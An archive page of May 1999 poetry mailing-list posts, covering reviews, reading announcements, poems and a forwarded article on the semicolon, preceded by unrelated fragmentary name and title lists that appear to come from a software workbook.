3 Killer Frogs (Drama) [10/8/70]
4 Rocket Scientis (Science Ficti) [10/25/40]
5 Step Aerobics (Fitness) [6/12/84]
6 Great Mountain (Foreign) [8/1/78]

15 Bul?? (Instructional) [5/9/95]
16 Hig (Adventure) [9/9/97]
17 Crusade (Adventure) [5/25/96]

[p. 36]

Dynamation (Adventure) [8/15/96]
High School Da (Adventure) [9/9/97]
Wild Adventures (Adventure) [1/1/95]
True Action (Adventure) [7/5/96]
Crusade (Adventure) [5/25/96]
Night Mission (Adventure) [7/3/97]
Intruder Alert (Adventure) [7/3/97]
Spot (Comedy) [6/21/97]
Off the Deep En (Comedy) [2/14/96]
Trez Village (Comedy) [7/4/97]
Carpe Diem (Comedy) [6/1/96]
Camp Jolly (Comedy) [11/23/77]
Making Arrange (Comedy) [7/8/96]
Killer Frogs (Drama) [10/8/70]
Caveat Emptor (Drama) [12/15/96]
Days of Insurrec (Drama) [12/15/96]

[p. 37]

Alpine Adventure (Travel) [4/15/96]
Crater Man (Science Fiction) [6/12/97]
Rocket Scientis (Science Fiction) [10/25/40]
StarView (Science Fiction) [5/25/97]
FutureScape (Science Fiction) [9/3/96]
Virtual Master (Science Fiction) [5/25/96]
Visual Mania (Science Fiction) [10/3/97]
Imagining Parac? (Romance) [9/13/96]
Creating Alexan (Romance) [1/3/97]
Remembering E (Romance) [5/4/96] < !!!!
Mea Culpa (Romance) [7/14/97]
In the Park (Romance) [10/21/95]
Krista (Romance) [7/4/96]
More, Much Mo (Romance) [12/20/96]
Building Your O (Instructional) [5/9/95]
Dark Vision (Horror) [8/19/97]
Great Mountain (Foreign) [8/1/78]

[p. 61] LAST NAME (see p. 61 for LASTCONTRACAMT, STUDIO, & FEES) [p. 65], [p. 66], & [p. 148] FIRST NAME / FIRST NAME LAST NAME

Fuller
Davolio Nancy
Leverling Janet
Buchanan
Suyama
Peacock
Callahan
Dodsworth
King Robert
Labrune Janine
Franken
Snyder Howard

Martin Dale
Huston Bucky

Stevens Mitchell

[p. 82] FIRST NAME LAST NAME (TITLE) [COMPANY NAME] {ADDRES} [sic]

Elizabeth Brown (Sales Representative) [Consolidate H] {Berkeley G} Jaime Yorres (Owner) [Let's Stop N Sh] {87 Polk St.} Jean Fresniere (Marketing Assis) [Mere Paillarde] {43 rue St. ?} Rene Phillips (Sales Representative) [Old World Delic] {2743 Bering?] Hari Kumar (Sales Manager) [Seven Sea Imp] {90 Wadhum?}

[p. 95], [p. 98], [p. 102]

FIRST NAME LAST NAME (ADDRESS) CITY STATE/PROV

Henry Buck (234 Rose Ave.) Pine City MN
Janet Marks (1467 Park Dr.) Colummbus [sic] MN
Sam Diego (897 Tate Road) Jackson MN
Janet Marks (1467 Park Dr.) Colummbus MN
Fran Wallace (989 Point Lane)

Jim Hopkins (503 Palm Dr.) Flag City FL

Lisa Norris
Roger Lisnet

[p. 97]

REPLACE: WITH:

liuke like liveing living loev love lonly lonely

makeing making mkae make

[p. 133]

PLACE TAKEN (PhotoLocationID)

Chateau d'Eau
Notre Dame
Louvre
Arch of Stars
Eiffel Tower
Mt. McKinley Peak Lake
Sunrise Ridge
Eskimo Hill
Ridgeville Valley
Cane Patchy
Little Village
Island Greenville
Palm Grove
Cane Farm
Cologne, Germany
Berlin, Germany

[p. 163]

- TITLE

Mark Taylor - President
Jim Pyles - Vice President
Cheryl Mealer - Secretary
Earl Todd - Treasurer

[p. 200]

Anne Cadrow
Beth Kelley
Harry Pollent
Laura Samuels
Mike Linderson
Neil Thompson
Pamela Bening
Pat Harmond

↑ Index

141. Kristen Gallagher
Re: Journal jottings [Project Experience]
Wed 12 May 1999

Thanks, Kent, for this great acknowledgement of a great book. i fear in the flurry of glut of which i am now part no one will notice it. josh schuster's book is indeed a rare gem.

> Kristen Gallagher put up a notice on Josh Schuster's odd and brilliant first book the other day. I thought I'd go ahead and share some jottings I'd been doing on it, stream-of-consciousness as they be.
>
> _Project Experience: Museums, Archives, Monuments, Bureaus_, by Joshua Schuster [Philadelphia: Handwritten Press, 1999] (order: Kristen Gallagher, 3805 Locust Walk, Philadelphia, PA 19104)
>
> --"The archive is an ear."
>
> Fifty pages, bound in the shape of a blue passport from the State of Approval, as the cover has it. Kristen Gallagher, currently of the U. of Pennsylvania Writer's House and soon of SUNY/Buffalo, has curated these documents, handed to her by one Joshua Schuster. May her Handwritten Press make as many beautiful, passport-sized books as there are countries in the world.
>
> Is this Schuster's passport into our State or our passport into his?
>
> Scripted question. But it's not clear who is speaking. The Museums and Archives, Monuments and Bureaus, in a kind of Foucauldian play on the pathetic fallacy, speak at us, though sometimes, too, an "I" interrupts, and sometimes a kind of narrator, like the guide on the headset in the museum or like a person talking to himself. But this confusion of authority is part the point, isn't it, for it's much of the truth of our current state. Our Institutions _do_ speak, are outside and inside us at the same moment, and when we speak we speak them and they speak us. Thus who is listening as a question we need to listen to. Scripted sentence. Boring Belgrade rubble replaced by grieving American students. F-16's in formation, majestic over teacher's funeral. Commercial for Lockheed, joyous child holding paper airplane aloft. Let us pray. Must teach Our children that violence is not the answer, says teary President inside of us, making heads nod. How surprising to the refugee when she sees the saplings shiver their leaves inside the transparent torso of the border guard. Now give me your archives and go to NATO, he says, if you love them so much. On page 27:

You are the sum of your storages: organs
of memory, organs of the morning, organs
of waiting, organs of identity. To tend the
archive is a kind of organology.

A bit Jabes in its aphoristic proceeding, a bit Popa in its mythic charge, a bit Simic in its cobbling of surreal miniatures, a bit Palmer in its hieratic namings, a bit Museum of Jurassic Technology--the whole book--in its wunderkammer (sp?) feel, its oscillations between the true and the not and the third thing that is then thrown into thought, though who knows what name that third thing has (something expiring between the tip of the tongue and the top of the teeth, I think, when we make the sound of the). Scripted sentence. Schuster scratching at it, page 16:

The kingdom is sustained by three things:
the kingdom of broken secrets, the kingdom of splitting images, and the kingdom
of the expiration of meaning--but the kingdom of a bird on a leash transcends
them all.

Sustenance is sustained by three things:
the sustenance of pollution, the sustenance
of hiding as a way of seeking, and the sustenance of a thought that consumes
itself--but the sustenance of your mouth
left over in my mouth transcends them all.

Three things are sustained by three things:
the three sides of the body, the three seconds in between in each breath, and the three rings around one's eyes--but the three names in your face transcend them all.

It is the size of Mao's Little Red book, but blue. Remember once, in the late 70's, I worked with a guy on a demonstration in Milwaukee to protest First Wisconsin Bank stock holdings in South Africa. For some reason I thought he was a Mennonite, but he turned out to be a member of the Revolutionary Communist Party! How surprising that soon whole cities will be a thousand feet underwater. Scripted sentence.
Museums, archives, monuments, and bureaus, in slow dissolve beneath a giant lake. Mao, great conceptual artist in his embalmed body.
Stalinism with a neo-liberal skull. Humanitarian bombs to bring home refugees fleeing blind rage same bombs inflamed. Supreme Allied Commander on verge of Star Wars prequel proposing to laser-torch Russian ships. Let us pray. Well-meaning poets wringing hands. What can we do?

You convince the doctor you are sick to enter this archive. Why don't they just let me in, you ask yourself, since it's obvious you are ill? Ill to whom? Your illness is a kind of _argument_. The doctor is full of belief, in that he doesn't believe you. Who should believe you? After all, you wear your illness like a badge, a patch of identity, like you are in the army of the sick. But you have a family to take care of, a family of illnesses. You deserve to be in these archives.

It is so natural to be inside the archives. Poets too, surely, sick unto death, deserve entry. Let us in. Come into us. It's not that we mean to rebel too much-- just want to expand the range of language, the range of the transgressively erotic, lend a bit of magic to the world. And yes, please, we'd like our names in the museum too. I wring my hands all the time. Scripted sentence. Bureaucrat's heart, feigning difference. And how surprising, after all, when you pick up a first book by someone 21 and finds hands opened out into this:

An audience of heads, one mound after another.

A smouldering mound: a pile of black burnt dirt constantly giving off smoke to be placed in front of any structure which was burned down.

A temple is burned down. One does not clear it away, but let it remain in its remains. This is now the holy place, a place of unplacement, a burned and charred temple to remain standing still burning in the minds which live among it. _That mound, there, it is breathing._

The thought mounds up.

(idea for ending review): In an age of pixels, electronic and poetic, where "religion is merely the bomber exploding with his bomb," Schuster's book a little document of compassionate thought that mounds up-- a listening and thinking that "curls the air and folds it into words," a little charm, at least for a spell, against the archive's siren song. If you collect small and fleeting things, > whose meanings build and build, get this passport. Offer it, > willingly, to the border guard inside you.

↑ Index

142. Mariah Corrigan
Leslie Fiedler/Simone Weil
Wed 12 May 1999

Hello out there. Can anyone tell me what Leslie Fiedler's email (or other) address might perhaps be? I'm organizing a conference for Columbia U on Simone's work and need to reach him asap.

Many thanks and reply to Mariah Corrigan at [redacted]

↑ Index

143. Alan Sondheim
Steering Mechanism
Wed 12 May 1999

/

Steering Mechanism

as if the internet text could be salvaged http://www.anu.edu.au/english/internet_txt swollen, tumescent, there might be a cancer in the making - L saw it as autobio - I find pushing myself into virtual life, swollen, tumescent, evil membrane tissues suppurated on the other side - there are always splits in the real - death, taxes, love - garnered across continents or oceans - cells fall through, out - you can't make a message with steerage - you can't steer the way texts veer with their theory carried, wounded - operations bring the body home, suturing each and every - I've Jennifer, Julu, Alan, Nikuko in my stomach - they're crawling, clawing - they're retching into skins of vomit - they stick their fingers into me - fingers into fingers - maybe they're typing this - salvage the fury, savage the writing - their mouths go out my holes - muffled - looking for the sign - the steering mechanism for each and every letter, word, phrase, sentence, paragraph, text toppling over text - blood count healthy - cholesterol healthy - EKG healthy - no hepatitis b or c - no AIDS - temperature normal - numbers within acceptable limits, within bandwidth and protocol - quantitative attributes, reductive phenomenologies of the body - underdeterminations of explanations - leaking autobio - theory at the fringe - diffraction-theory - it's a written future - can't give you numbers, tell you the truth - the salvage-work - future's always underdetermined - even when it's here

↑ Index

144. Susan M. Schultz
Invitation to a Thought Experiment
Wed 12 May 1999

Dear poetics kine folks--

I direct, though that is hardly the word, a creative writing program that is in exquisite need of re-thinking. So I'll share my thought experiment with you: You are assigned the task of running a creative writing program. What would you do? What functions would you assign to the program? What kinds of courses would you teach? What should faculty do _aside from_ teaching their courses? (I have ideas of my own, but am eager to see what some of the rest of you come up with.)

Two provisos: You are given no money and you are dealing with a group of people that doesn't work together well and doesn't welcome change.

But really, please dream on...the more positive the better!

best, Susan Schultz

↑ Index

145. Katherine Lederer
E X P L O S I V E M A G A Z I N E # 7
Thu 13 May 1999

Now available:

E X P L O S I V E M A G A Z I N E #7

Tim Griffin
Kevin Larimer
Michael Coffey
Catherine Wagner
David Larsen
Mark Wallace
Alicia Wing
Tom Devaney

Drew Gardner
Roberta Olson
WB Keckler
Cate Marvin
Elizabeth Robinson
Brenda Hillman
Powetry comics by Kenneth Koch

$6 per issue / $15 for three Checks should be made payable to Katherine Lederer and sent to:
PO Box 250648
Columbia University Station
New York, NY 10025
(International orders: $1 s/h per issue)

Thanks.

↑ Index

146. Alan Sondheim

2 which bear repeating (fwd)

Thu 13 May 1999

---

2 which bear repeating in lieu of the times

1.

Inside the mother-father
The baby turns -
Screaming and dying,
Its body burns -

Flames leap from its fingers,
Father-mother lies dead -
Flames leap from its eyelids,
Eyes burn in its head -

Mother-father cries, rising.
The babe turns around,
In anger strikes out -
Bones fall to the ground -

Father-mother falls, crying -
The babe once so rash
Kills its tormenter -
The body's in ash -

Dust falling and rising,
And parents and child,
Still burn within daily -
Their cries are defiled -

Dust rising and falling,
None shall atone.
The baby still turning,
Dies daily, alone -

2.

Help the burned and wounded child,
The infant drowned or injured mother,
The open wide-eyed girl defiled,
The sister murdered by her brother,
The scalded boy, the father's hate,
The mother's knife and tortured skin,
The sex of death, the young girl's fate,
The battered boy, his life of sin,
The blinded babe, the woman's rage,
The body bruised with leather strap,
The mother old beyond her age,
The daughter's jeers, the father's slap.

↑ Index

147. Linda V Russo

SPT Re:reads the New American Poetry / Small Press Traffic

Thu 13 May 1999

This event sounds spectacular.
Would someone please consider posting a report on it?

Thanks in advance,
Linda Russo

↑ Index

148. L. MacMahon and T.R. Healy

Shearsman 39 apologies for cross posting

Thu 13 May 1999

The latest Shearsman, no. 39, landed on my doormat this morning. It opens with an engaging 90 line poem by Ken Bolton, called, simply, _poem_ and is dedicated to Martin Munz. The pretext for the poem is fairly slender, the poet is walking along the street wearing a leather jacket and carrying presents for some children, thinking of this and that and people he talked to. Contrasts between modernity and the past hold it together pretty well, the 90 lines themselves suggestive of the brightly lit present tense of the poem beginning to trail behind time's arrow. quote

Its scale is increasingly and loveably inappropriate to North Terrace, as it modernizes and the lion seems small earnest, and straghtforward.

And the sky looks great beyond it.

I have chocolate frogs for Becky and Julie

unquote

A three part poem, _Touring Vienna_, by Karin Lessing follows. The first section is interestingly mysterious, particularly for me since I know little German and it mixes said language with English. Second two is a change of pace, a close up description of a photo Sigmund Freud with Oskar Nemon and a dog. The witty literal passes into the psychological half way through, thereby drawing a witty enough comparison, quote the sculpture, the clay head, the model and the model's pet dog form a spiral, a whorl

from which the dog alone looks beyond the self-contained scene intent with listening the sculptor is in profile his stance as in a frieze where offerings are presented to rulers or to the gods - but the portrait, its inward gaze, is for us

incurable, prodigal economy of love

unquote

Perhaps the dog was on loan from Pavolv. Section three is more elegiac, ending very abruptly. Very effective.

Next is Geoffrey Squires' _UNTITLED POEM_ which he read at the recent conference in Cork. It opens with long rhythms, the acoustics uppermost since the visual referents are deliberately indeterminate.
quote that move sometimes and are sometimes still what they are each one only what it is this or because

..*

Ahead of itself in advance of itself as always as usual

unquote

After a page and a half of this the simple description "A small wood a copse / at the bend in the river / between green fields /" is lent a surprising amount of drama. Read this one aloud, moderato, with feeling, but not too much. As it happens, I've found myself reading a lot of Squires recently. It becomes quite addictive. I think what I like about it is that it takes you somewhere quite different but you don't know where.

Then there's Charles Hadfield's two poems, the first being, _Stepping Stones_ quote

The streets whisper where ghosts walk

lizards flicker up the walls, these piles of stone all that remain.

unquote

I find the sound patterning -- whisper/lizards/flicker, and ghosts/stone, walk/walls/piles/all -- combined with the high definition visuals pretty exciting. And like the lizard, the poems flickers along its way, as it broadens out giving a sense of the poet's struggle, he being half way up the wall himself.

I'd better get on and start the dinner. Probably better not to show all the goodies at once anyway.

Poems too by Martin Anderson, Peter de Rous and David Heminway. Not to mention two pages of useful notes on "books acquired, received and otherwise notable." Excellent magazine, beautifully produced, and at a price scarcely merits the name.

Available from Tony Frazer, 47 Dayton Close, Plymouth PL6 5DX, England or from Peter Riley (Books), 27 Sturton Street, Cambridge, CB1 2QG England, email [redacted] "price" £1.50

Randolph Healy

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm

↑ Index

149. BETSY ANDREWS summer sublet
Thu 13 May 1999

I'm off to Yemen for two months, so I'm subletting my improbably spacious Prospect Heights, Brooklyn apartment for July and August (or, better yet, July 8-August 30). It's $925 a month pro-rated and, if I don't know you, I'd like a security deposit.

Seven fabulously appointed, sunny, quiet rooms astonishingly close to transportation, the Brooklyn Museum, the botanical gardens and the park. Jump on it now, folks. It won''t last.

↑ Index

150. Jacques Debrot
Re: Poetry: telic or not
Thu 13 May 1999

In a message dated 5/13/99 11:10:03 AM, [redacted], quoting George Lakoff, writes:

<<"The increasing violence and destruction in the world - physical, ecological, economic, social, and emotional - are all a product of our present modes of thought. If the cruelty is to end, our concepts must change. Since concepts are physically encoded in the brain and grounded in the body, our brains and bodies must change. If art is to play a role for the good, it must disrupt our concepts, our normal ways of functioning - our brains and our bodies. Art as disruption is art as a moral force. Disruption is an aesthetic experience, and an aesthetic experience of this kind is inherently moral. Moreover, disruptive art on a large-enough scale will be sufficient to reverse our destiny, so that the violence and destruction can end.">>

This is extremely interesting. But one of the difficulties here, in respect of poetry, seems to me precisely one of "sufficiency of scale." Nor is disruption something diametrically opposed to violence & destruction obviously -- the problem it seems to me is rather that, at a time when the history of art is arguably over, & the most extreme aesthetic violence -- Artaud's say -- is merely a "style" that one cannot avoid "quoting" (the problem for example -- despite it's brilliance -- with Novarina's work) can art really be said to have retained a capacity for disruption? In the essay that precipitated J. Lowther's & R. Prunty's posts to the List, S. Schaefer problematizes the continuity between radical poetic theory and practice. This aspect of his argument seems persuasive, particularly in the context of Prunty's post, as no poem seems likely to come close to approaching the extremity of the aesthetic experience Lakoff describes. Schaefer on the other hand does not seem to sufficiently problematize poetry's relationship to tradition & with his attacks on the LangPos a certain amount of generational anxiety is clearly evident. But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" since it is not, I don't think, the sort of Antinomian practice that, for instance, David Bromige seems to imply it is.

↑ Index

151. Poetry Project
Situations Book Party
Thu 13 May 1999

BOOK PARTY

for the latest publications from Situations Press

Wrackline by Daniel Bouchard

City of Ports by Marcella Durand

14 Knots by Joe Elliot

Hemisphere's Planetarium Petals by Kimberly Lyons

Elastic Latitude by Richard O'Russa

Slush by Marshall Reese

on Thursday, May 27th, 6-8 pm
Granary Books
568 Broadway, #403

*****

↑ Index

152. Carol L. Hamshaw
NATO and the Internet
Thu 13 May 1999

> -------- Original Message --------
> Subject: [aman-disc] US shuts down Yugoslav Internet - For immediate release
> Date: Wed, 12 May 1999 14:16:45 GMT
>
> Dear sirs,
>
> We have reliable information that the US Government ordered Loral Orion company to shut down its satellite feeds for Internet customers in Yugoslavia.
>
> This action might be taken as soon as later tonight or tomorrow (May 12 or 13, 1999).
>
> This is a flagrant violation of commercial contracts with Yugoslav ISPs, as well as an attack on freedom of the Internet.
>
> A Web site in protest of these actions should be up shortly. We will supply you with the URL. In the meantime, please be so kind to inform as many people as possible about this tragic event for the Internet community in Yugoslavia and Europe.
>
> Kind regards,
> BeoNET
> Belgrade, Yugoslavia

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

153. Stephen Cope
(no subject)
Fri 14 May 1999

* ATTENTION *

Beyond the Page continues its ongoing series of poetry and arts related events with a reading by STEPHEN RADCLIFFE and MARTHA RONK

Where: Faultline Theater, 3152 5th Avenue (at Spruce) San Diego.

When: Sunday, May 23. 4:00 PM

Info: [redacted] or [redacted] or e-mail [redacted] or [redacted].

Else: A small donation is requested at the door. Refreshments are available for a donation.

****

STEPHEN RATCLIFFE was born in Boston and raised in the San Francisco Bay area since the age of four. He attended UC Berkeley where he received both a BA and PhD and was awarded a Stegner poetry fellowship at Stanford. He now teaches at Mills College and is the chair of English Department. Ratcliffe is the editor/publisher of Avenue B (books) and has a collection of essays on 'experimental' poetry, _Listening to Reading_, forthcoming on SUNY Press as well as a book of poems, _SOUND/ (system)_ on Sun & Moon Press. His books include: _Mallarme: poem in prose_ (Santa Barbara Review Publications, 1998), _Sculpture_,(Los Angeles: Littoral Books, 1996), and many others.

MARTHA RONK has published two recent chapbooks, _Emblems_ and _Allegories_, and four books of poetry: _Desire in LA_ from Georgia University Press, _Desert Geometries_ from Littoral Books, _State of Mind_ from Sun & Moon Press, and _Eyetrouble_ from Georgia University Press. Forthcoming is a fictional autobiography, _Displeasures of the Table_ on Sun & Moon Press. She is a professor of literature at Occidental College.

****

Beyond the Page is proud to continue its monthly series with this reading. BTP is an independent arts group dedicated to the promotion of experimental and/or explorative work in the arts.

↑ Index

154. Todd Baron /*/ ReMap Readers

Re: hey whitmaniacs

Fri 14 May 1999

---

juliana spahr wrote:
>
> Any one out there know the citation for that passage where Whitman talks > about how great American English is b/c it is put together of all > different languages/influences?
>
> Or the Webster one?

the AMERICAN PRIMER contains Whitman's thoughts on the American language--though references to language itself abound--as the poem does--

Leaves--the INTRO to the 1855 edition also. City Lights published the American Primer in the 70's. I believe it still does. Oddly enough, the American Library neglected to include this tome in the "collected" works.

Todd Baron

↑ Index

155. Brian Stefans
What does Mr. Pound believe?
Fri 14 May 1999

I can't remember where this quote from T.S. Eliot on Pound occurs. I reread the "His Style and Metrics" essay and the introduction to the Literary Essays, but no luck, and the Carpenter bio is too long, with a terrific but unwieldy index. I need it for a paper I'm working on.

Thanks!

↑ Index

156. Brian Stefans
Bruce Andrews and Brian Kim Stefans Reading
Fri 14 May 1999

PULL MY DAISYTRAIN PULL MY DAISYCHAIN PULL MY DAISYTRAIN PULL MY

Readings @Clovis Press

Clovis Press Bookstore
229 Bedford Avenue , Williamsburg, Brooklyn
[redacted]

Directions from Manhattan:
Take L Train to Bedford Ave. Walk 4 blocks on Bedford to North 4th Street.

Directions from San Francisco:
Watch "Matrix" on quaaludes with a sleeping puppy in your lap. Walk 4 blocks.

Friday May 21

BRIAN KIM STEFANS' books include Free Space Comix (Roof), Gulf (Poetscoop/Object) and, with Sianne Ngai, "The Cosmopolitans" (Tripwire). He also edits Arras (http://www.bway.net/~arras).

BRUCE ANDREWS, besides performing his notorious live editing of poems and mixing of prerecorded vocal sounds in collaboration with the solo dance improvisation of dancer/choreographer Sally Silvers, is the author of such noted books as Love Songs, and I Don't Have Any Paper So Shut Up (Or, Social Romanticism). A new book Designated Heartbeat from Sun & Moon is due soon. The just-released AERIAL Andrews issue will be available for purchase day of the reading.

Introduced by MELANIE NEILSON

READINGS BEGIN AT 8PM SHARP

$3.00 CONTRIBUTION FOR READERS.

COFFEE TEA WINE
Come early and buy books!

FALL READING SERIES SCHEDULE AVAILABLE SOON

TRAIN MY DAISYCHAIN PULL MY DAISYTRAIN PULL MY DAISYCHAIN PULL MY

↑ Index

157. rob wilson
oh sublime semi-colon, yr history haunts me
Fri 14 May 1999

---------- Forwarded message ----------
Date: Fri, 14 May 1999 03:19:27 -1000
From: [redacted]
To: [redacted]
Subject: Forwarded article: SECRETS OF THE SEMICOLON

The following article was selected from the Internet Edition of the Chicago Tribune. To visit the site, point your browser to http://chicagotribune.com/. This special e-mail feature is brought to you by First Chicago.

---------- Chicago Tribune Article Forwarding----------

Article forwarded by: rob wilson

Return email: [redacted]

---Forwarded article---------- SECRETS OF THE SEMICOLON

By Julia Keller

Weep not for the semicolon; its time has come 'round at last.

Once dismissed as a fussy, somewhat effete affectation, the white-gloved cousin to the callused, workaholic comma or brutally abrupt period, the semicolon may be coming into its own.

Most people, truth to tell, still seem somewhat intimidated by the semicolon; it smacks of deep thoughts and book-lined studies, of long, thoughtful pauses accompanied by rhythmic strokes of the chin. The marks are "so pipe-smokingly Indo-European," essayist Nicholson Baker once wrote.

Hence semicolons historically were deftly avoided. They were the fine china of the punctuation world, when plastic forks would do.

"I've never really gotten comfortable with semicolons," admitted Harold Hirshman, an attorney with Sonnenschein Noth & Rosenthal. "If anything, I'm a comma person."

But if Hirshman wants to be hip, he'll have to start adorning his correspondence with semicolons, those little dot-and-fishtail concoctions that endow sentences with emotional nuance as well as serve a grammatical task.

"Wit," the play by Margaret Edson that won the Pulitzer Prize for drama last month, feature a semicolon as a major plot point; a semicolon also figures in newspaper ads for the play, as the mark replaces the second letter of the title. Semicolons also have come to figure prominently in the newest of writing genres, e-mail correspondence; they serve as what Baker calls "emotional punctuation." A semicolon is an essential component in the wink or smirk: ;-).

A semicolon reference in the season finale of "Sports Night," the critically acclaimed ABC sitcom -- "Why don't we use semicolons anymore?" the producer Dana (Felicity Huffman) asks her staff -- is further proof that semicolons are hot stuff; they bristle with buzz. (The only speed bump encountered by the semicolon bandwagon was a story in a recent New York Times Sunday Magazine, in which Alberto Manguel called the period the best punctuation mark of the millennium. The period is, he said unconvincingly, "the unsung legislator of our writing system.")

Among punctuation marks, the semicolon is a relative latecomer, lagging behind the comma, colon and period, most linguists agree. Of course, punctuation itself did not become a standard part of written discourse until the late 18th Century. Composition had been a haphazard enterprise at best, with writers employing punctuation marks when and how they chose.(Spelling, too, was a matter of personal whim -- and for some, of course, it still is.) In the earliest writing of which we have samples, words weren't separated at all; everything was jammed together in a long, confusing string, said Andrea Lunsford, English professor at Ohio State University.

Rudimentary punctuation marks (whose look, function and placement bore little relation to contemporary punctuation) were employed by Greek and Roman writers. The first time a semicolon seems to have appeared -- scholars still disagree, hence the hedging -- is in a 9th Century Greek text. Those primitive semicolons, however, were inverted; the comma part was on top and the period part on the bottom.

The semicolon first appeared in English writing in about 1560, according to Paul Bruthiaux in his 1995 article in Applied Linguistics magazine, "The Rise and Fall of the Semicolon."

Semicolons showed up in a 1609 edition of Shakespeare's sonnets; ditto for a 1612 edition of John Donne's works. By the late 18th Century, Bruthiaux wrote, the semicolon had been accepted by British and European writers. (Some holdouts remained, then and now; Antaole France, a 19th Century critic, called the semicolon "a symptom of mental weakness." Twentieth Century writer Donald Barthelme said a semicolon was "ugly, ugly as a tick on a dog's belly.")

Semicolons function several ways in sentences. They can divide coordinate clauses that are complete in themselves; they can replace commas, indicating a longer pause; they can separate items in a list.

However, the way we feel about a punctuation mark may be almost as important as its grammatical task. As Mina Shaughnessy, a leading composition theorist, has written, "Punctuation marks produce different psychological effects -- on the writer as well as the reader." The semicolon is a mighty punctuation mark, she believes, because it "has the linking power of a comma and the terminating authority of a period."

Yet to most readers, semicolons are imbued with a decidedly languid, late-afternoon feel; when semicolons are present, you can almost hear the elegant china cup clink as it is gently replaced in the saucer. Gender stereotypes also come into play; semicolons seem most closely associated with the florid, emotional writing often ascribed to women rather than the spare, chiseled prose with which men generally are credited.

Geoffrey Nunberg, principal scientist at Xerox Palo Alto Research Center and a linguistics professor at Stanford University, confirmed that the semicolon's reputation is a bit, well, flighty and frivolous, more closely aligned to, say, taffeta-bedecked debutantes than to leather-jacketed bomber pilots.

"People seem to feel it's the icing on the cake -- a nice mark to have around, but the nation won't fall if students lose their grip on it," he said. Conversely, the comma is "a nuts-and-bolts mark."

Semicolons, however, are much more than a frill to Nunberg; he has spent the better part of a decade studying them. In fact, practical applications for these researches are already popping up, he noted: "Most of the computational applications and systems that we are developing have to deal with the language of written texts, and a systematic grammar of punctuation is crucial. A lot of the serious linguistic work on punctuation has come from people in computational linguistics."

Punctuation can sound boring because, typically, it is dealt with in a dull handbook in English class, in which it is reduced to a set of grim rules. In a 1990 article in The Antioch Review, Theodor W. Adorno called punctuation "traffic signals." How poetic is that?

It required linguists such as Nunberg and his colleagues to reveal the beauty and mystery of punctuation marks, to awaken us to the subtle emotional and psychological distinction of semicolon use.

"The semicolon seems to be reserved now for certain kinds of highbrow and high-middlebrow writing," Nunberg said. "You find them in The New Republic but not in USA Today, in academic histories but not in celebrity bios. There's a sense that the mark presupposes a reader with time on his or her hands and a comfortable chair to sit in."

Traditionally, students have been a bit intimidated by the semicolon, said Judith Gardiner, an English professor at the University of Illinois at Chicago. "They tend not to use it. It's designed for relatively complicated thoughts and sentences. The tendency is to want to be short and snappy, to come to the point."

Ah, but for adventurous students, the semicolon has become an irresistible challenge, she said. Compared with the bungee-jump of attempting a semicolon, employing a comma packs all the adrenalin rush of stepping off a curb when you have a "Walk" light. "Students who do use the semicolon tend to know what they're doing," Gardiner said.

That confidence in semicolon deployment increasingly is visible even at the high school level, said several English teachers. Sara Garnes, a linguist at Ohio State University who confers often with secondary-school teachers, contended that semicolons bring a sense of panache to the presumably staid, boring world of punctuation. Thrill-seeking students may have figured out that semicolons are a quick way to perk up one's tired old term paper, to add an instant patina of class.

Legal writing, with its reputation for labyrinthine circumlocution, would seem to be rife with semicolons. Yet that's only half true, Hirshman said. In writing about litigation, the marks are virtually nonexistent: "The idea is to keep it simple. You're writing about history -- what happened and who's to blame."

Contracts, however, the other kind of legal writing, surge with semicolons: "You're trying to hedge or clarify some statement and you don't want the confusion of moving it to another sentence. Contracts are about the future -- it's trying to control the future with words."

Nowhere is the distinction between the comma and semicolon rendered with more poignance than in the climax of "Wit." Vivian, the protagonist who is dying of ovarian cancer, recalls a pivotal confrontation in her college days, when a crusty scholar chides her for using a second-rate edition of Donne's holy sonnets. In the corrupt copy, the final sentence of his famous sonnet on death ("And death shall be no more, Death thou shalt die") appears with a semicolon instead of a comma.

Vivian remembers the professor's lesson:

"Nothing but a breath -- a comma -- separates life from life everlasting. It is very simple, really. With the original punctuation restored, death is no longer something to act out on a stage. . . . This way, this uncompromising way, one learns something from this poem, wouldn't you say? Life, death. Soul, God. Past, present. Not insuperable barriers, not semicolons, just a comma."

Some do, some don't; some will, some won't. A writer's decision about semicolon use is intensely personal:

Semicolon users

Virginia Woolf

"It gave to everything the exact measure of colour; to the sandhills their innumerable glitter, to the wild grasses their glancing green; or it fell upon the arid waste of the desert, here wind-scourged into furrows, here swept into desert cairns, here sprinkled with dark-green jungle-trees."

- "The Waves"

George Eliot

"For the most glutinously indefinite minds enclose some hard grains of habit; and a man has been seen lax about all his own interests except the retention of his snuff-box, concerning which he was watchful, suspicious, and greedy of clutch."

- "Middlemarch"

John Milton

"We shall be wary, therefore, what persecution we raise against the living labors of public men, how we spill that seasoned life of man preserved and stored up in books; since we see a kind of homicide may be committed, sometimes a martyrdom; and if it extended to the whole impression, a kind of massacre, whereof the execution ends not in the slaying of an elemental life, but strikes at that ethereal and fifth essence, the breath of reason itself, slays an immortality rather than a life."

- "Areopagitca"

Semicolon eschewers

Ernest Hemingway

"As a matter of fact, supper was a pleasant meal. Brett wore a black, sleeveless evening dress. She looked quite beautiful. Mike acted as though nothing had happened. I had to go up and bring Robert Cohn down."

- "The Sun Also Rises"

Joan Didion

"Late that night sitting alone in the dark by the pool she remembered whose house it had been out off San Vicente with the Japanese food, it had been the house of a couple named Sidney and Ruth Loomis. Sidney Loomis was a television writer and Ruth Loomis was very active in the civil-rights movement and group therapy."

- "Play It As It Lays"

John Steinbeck

"Then it was June, and the sun shone more fiercely. The brown lines on the corn leaves widened and moved in on the central ribs. The weeds frayed and edged back toward their roots."

- "The Grapes of Wrath"

↑ Index

158. Cassandra Laity

Brit/Irish Seminar

Fri 14 May 1999

Date: 14-May-1999 12:46pm EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Brit/Irish Seminar

Date: 05-May-1999 03:04pm EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Brit/Irish Seminar

